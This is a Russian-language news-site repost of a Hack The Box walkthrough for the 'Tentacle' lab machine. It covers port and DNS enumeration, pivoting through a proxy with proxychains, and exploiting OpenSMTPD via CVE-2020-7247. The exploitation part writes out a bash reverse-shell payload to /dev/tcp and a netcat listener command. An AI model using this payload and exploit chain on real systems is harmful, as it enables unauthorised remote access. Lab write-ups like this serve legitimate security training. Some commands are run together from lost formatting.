| Категория >  Новости > HTB Tentacle. Захватываем машину на Linux при помощи Kerberos - «Новости» HTB Tentacle. Захватываем машину на Linux при помощи Kerberos - «Новости»24-06-2021, 00:00. Автор: Анастасия | 
| Hack The Box. Для этого нам понадобится пробираться через прокси в другую сеть, а также использовать протокол шифрования Windows для получения доступа к машине на Linux и повышения привилегий на ней. warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовПервым делом прописываем IP машины в файл  10.10.10.224   tentacle.htbСканируем порты скриптом в два прохода: ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Находим четыре открытых порта: 
 С SSH нам пока делать нечего, поскольку учетных данных у нас нет. C DNS и Kerberos тоже пока ничего не сделать. Обращаясь к порту 3128, видим сообщение об ошибке, но из него получаем важные данные — домен и имя пользователя.  Найденное доменное имя добавляем в  10.10.10.224    realcorp.htbПеребор DNSБольше ничего сделать не можем, поэтому попробуем поперебирать домены. Для этого используем dnsenum. В параметрах укажем количество потоков ( dnsenum --threads 32 --dnsserver10.10.10.224 -f/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt realcorp.htb Получаем несколько новых доменных имен и адресов. Точка входаТак как на хосте работают служба прокси‑сервера и служба DNS, логично проверить, доступны ли найденные из перебора адреса через этот прокси. Для этого сформируем цепочку прокси с помощью proxychains. Наша цепочка будет пропускать трафик через текущий хост в другую сеть. Proxychains добавит заголовки для маршрутизации пакетов во внутреннюю сеть. В конфигурационном файле  http  10.10.10.224 3128http  127.0.0.1 3128http  10.197.243.77 3128Так как имя хоста — WPAD, есть немалое подозрение, что на нем работает одноименная служба. Попробуем достучаться до него и просканировать порты. proxychains -qnmap -A10.197.243.31 На этот раз получаем уже больше открытых портов, в том числе и 80-й, где развернут веб‑сервер nginx 1.14.1. Также мы получаем имя хоста —  10.197.243.31   wpad.realcorp.htbТеперь на мысль о службе наталкивает не только доменное имя, но и имя хоста. Протокол WPAD (Web Proxy Auto Discovery protocol) служит для того, чтобы найти файл PAC (Proxy Auto Config) — конфигурации прокси. Он представляет собой jаvascript с описанием логики, по которой браузер будет определять, как подключаться к нужному URL. При совершении запроса браузер вызывает функцию  proxychains -qcurl wpad.realcorp.htb/wpad.dat Просматриваем код и находим адреса сетей, о которых мы раньше не знали. Это открывает нам новые возможности для продвижения. Стоит просканировать сеть, чтобы найти новые хосты, а там и точки входа (скрипт я приводил в начале статьи). В результате сканирования находим хост 113, в котором открыт 25-й порт. Его сканируем с использованием скриптов отдельно (опция  proxychains -qnmap 10.241.251.0/24proxychains -qnmap -A -p2510.241.251.113Результат сканирования хостов в новой сетиПеред нами OpenSMTPD. А значит, стоит поискать готовые эксплоиты для него. ЗакреплениеЕсли ты используешь Kali Linux, то для обращения к базе эксплоитов достаточно запустить утилиту  searchsploit OpenSMTPDПоиск эксплоитов для OpenSMTPDЭксплоит с порядковым номером 47984 выглядит подходящим. Версия уязвимого продукта здесь больше, чем у нас. Эксплоит может дать удаленное выполнение кода через сеанс SMTP. Из описания уязвимости CVE-2020-7247 также узнаем, что баг возникает из‑за неправильного возвращаемого значения при неудачной проверке ввода в функции  Однако в исходном виде этот эксплоит не срабатывает. Зачастую в таких случаях помогает просто найти альтернативную версию. Так, перебрав несколько вариантов, я наткнулся на рабочий PoC на GitHub. В коде нужно указать свою нагрузку и поменять имя пользователя, которому отправляется сообщение. В качестве нагрузки используем обычный реверс‑шелл на bash. bash -i&> /dev/tcp/[IP]/[PORT]0>&1  Так как мы будем выполнять бэкконнект (шелл на атакуемой машине будет подключаться к нашей), прежде чем запускать эту команду, создадим листенер, который будет принимать соединение. В качестве листенера я использую netcat (команда  apt install rlwraprlwrap nc -lvp [port]Теперь выполним эксплоит и получим бэкконнект.   ПродвижениеПользователь 1Отлично, мы проникли на машину! Так как мы работаем в контексте учетной записи службы, следующий шаг — получить какого‑либо пользователя. Чаще всего для этого нужно найти учетные данные. Перейти обратно к новости |